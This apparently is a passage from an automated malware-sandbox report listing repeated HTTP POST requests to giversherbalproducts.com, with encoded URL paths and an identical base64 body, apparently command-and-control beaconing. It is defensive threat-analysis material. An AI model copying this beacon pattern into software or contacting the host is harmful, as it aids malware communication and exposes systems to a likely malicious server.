Source: global traffic	HTTP traffic detected: POST /lBawcxb5/ES1CfXZ5ZHp6d2V4ZX8= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/ES1CfXZ5ZHp6d2V4ZX8= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/GAUAID5zCzE+BzoOJAtGenN5Yn59cmV+YXg= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/GAUAID5zCzE+BzoOJAtGenN5Yn59cmV+YXg= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/fxgDNT4yEngregozMnp+J0N6dX1le310YXlkeA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/fxgDNT4yEngregozMnp+J0N6dX1le310YXlkeA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/DxMffwwOHXMHeXJDenV9ZXt9dGF5ZHg= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/DxMffwwOHXMHeXJDenV9ZXt9dGF5ZHg= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/ICYbCzstHxl+BhF4Jg5+GH0FRX5yeGV9eXNkeWJ8 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/ICYbCzstHxl+BhF4Jg5+GH0FRX5yeGV9eXNkeWJ8 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/P3glHSkheRgAfBMIMgUiKCMaGD4dK0J9dnlkenp3ZXhlfw== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/P3glHSkheRgAfBMIMgUiKCMaGD4dK0J9dnlkenp3ZXhlfw== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/HiQBOhomAh0dCDgeJjoHLj8YCUZ6c3lifn1yZX5heA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/HiQBOhomAh0dCDgeJjoHLj8YCUZ6c3lifn1yZX5heA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/BhkbJH0afC8dDiEzQn12eWR6endleGV/ HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/BhkbJH0afC8dDiEzQn12eWR6endleGV/ HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/ACA4KhwTDH8VH3MrOQp8GAYHIjZ4egBFfnJ4ZX15c2R5Ynw= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/ACA4KhwTDH8VH3MrOQp8GAYHIjZ4egBFfnJ4ZX15c2R5Ynw= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/MSMDOB0pBQ5+OnNDenV9ZXt9dGF5ZHg= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/MSMDOB0pBQ5+OnNDenV9ZXt9dGF5ZHg= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/PQAbfw19HyI5fiwAe38AIyccOiF8BwI+diQOQn12eWR6endleGV/ HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/PQAbfw19HyI5fiwAe38AIyccOiF8BwI+diQOQn12eWR6endleGV/ HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/H0N6dX1le310YXlkeA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/H0N6dX1le310YXlkeA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/E30FFQogECw2GiUzekV+cnhlfXlzZHlifA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/E30FFQogECw2GiUzekV+cnhlfXlzZHlifA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/PAUpKBYYDz0bHQkGMRZ/eSJCfXZ5ZHp6d2V4ZX8= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/PAUpKBYYDz0bHQkGMRZ/eSJCfXZ5ZHp6d2V4ZX8= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/fBM5IDlCe3J+YXp8c2J9ZXk= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/fBM5IDlCe3J+YXp8c2J9ZXk= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/JS4leCwTGiojLgAhfiAeJXl4JCkFHUJ9dnlkenp3ZXhlfw== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/JS4leCwTGiojLgAhfiAeJXl4JCkFHUJ9dnlkenp3ZXhlfw== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/LDhzdH4lGnwaNw4PfworLCkHdSkEGjIvdnMoAkV+cnhlfXlzZHlifA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/LDhzdH4lGnwaNw4PfworLCkHdSkEGjIvdnMoAkV+cnhlfXlzZHlifA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/cjsfHAk/MzgAfhp+DBgAGz0PeyQgQ3p1fWV7fXRheWR4 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/cjsfHAk/MzgAfhp+DBgAGz0PeyQgQ3p1fWV7fXRheWR4 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/GzsaeR8FDw4qOh8mCAR2HDoCFS4bAhxFfnJ4ZX15c2R5Ynw= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/GzsaeR8FDw4qOh8mCAR2HDoCFS4bAhxFfnJ4ZX15c2R5Ynw= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/Hh4hIBsEGSF/JgN9ARgdOCgSRX5yeGV9eXNkeWJ8 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/Hh4hIBsEGSF/JgN9ARgdOCgSRX5yeGV9eXNkeWJ8 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
